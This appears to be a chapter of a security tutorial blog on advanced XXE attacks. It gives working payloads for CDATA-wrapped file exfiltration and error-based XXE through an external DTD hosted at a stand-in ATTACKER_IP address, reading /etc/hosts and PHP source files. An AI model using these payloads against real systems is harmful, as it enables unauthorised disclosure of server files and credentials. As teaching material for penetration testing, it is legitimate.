Keyboard shortcuts

Press ← or β†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

XXE β€” Advanced File Disclosure

Advanced exfiltration with CDATA

Basic file:// references break on source files containing XML special characters (<, >, &). The PHP base64 filter solves this for PHP apps, but a more universal approach is wrapping file content in a CDATA block so the parser treats it as raw data:

<![CDATA[ file content here ]]>

Why direct entity joining fails

A naive attempt to assemble the CDATA wrapper with internal entities is rejected by the XML spec β€” internal and external entities cannot be joined directly:

<!-- This does NOT work -->
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">

Solution β€” XML Parameter Entities + external DTD

Parameter entities (prefixed with %) can only be used inside a DTD, but if all entities are loaded from an external DTD, they are treated as external entities and can be joined freely.

Step 1 β€” create xxe.dtd on your server:

<!ENTITY joined "%begin;%file;%end;">

Step 2 β€” serve it:

python3 -m http.server 8000

Step 3 β€” reference it from the target:

<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
  %xxe;
]>
...
<email>&joined;</email>

The parser loads xxe.dtd, assembles the joined entity as <![CDATA[ <file contents> ]]>, and returns the raw file source in the response β€” no base64 encoding needed.

Note: Some web servers block files that would cause entity self-reference loops (e.g., index.php referencing itself). Try other files if a specific one fails.


Error-based XXE

Used when the application outputs nothing from the XML response β€” no reflected entity values, but it does display runtime errors (e.g., PHP errors) and lacks proper exception handling.

Confirm error output

Send malformed XML to see whether errors are shown:

  • Delete a closing tag
  • Reference a non-existent entity: &nonExistingEntity;

If a PHP error appears revealing a file path (e.g., the web root), the error channel is usable for exfiltration.

Exploit β€” trigger a descriptive error containing file contents

Create xxe.dtd on your server:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

The %error; entity tries to load a URI that is nonExistingEntity/<file contents>. Since %nonExistingEntity; doesn’t exist, the parser throws an error with the full constructed string β€” embedding the file content inside the error message.

Reference it from the target:

<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

No other XML body is needed. The response error will contain the contents of /etc/hosts.

Limitations:

  • Output may be truncated for large files
  • Special characters in the file may still break the error string
  • Less reliable than CDATA exfiltration for source code reading
  • Requires the application to display unhandled runtime errors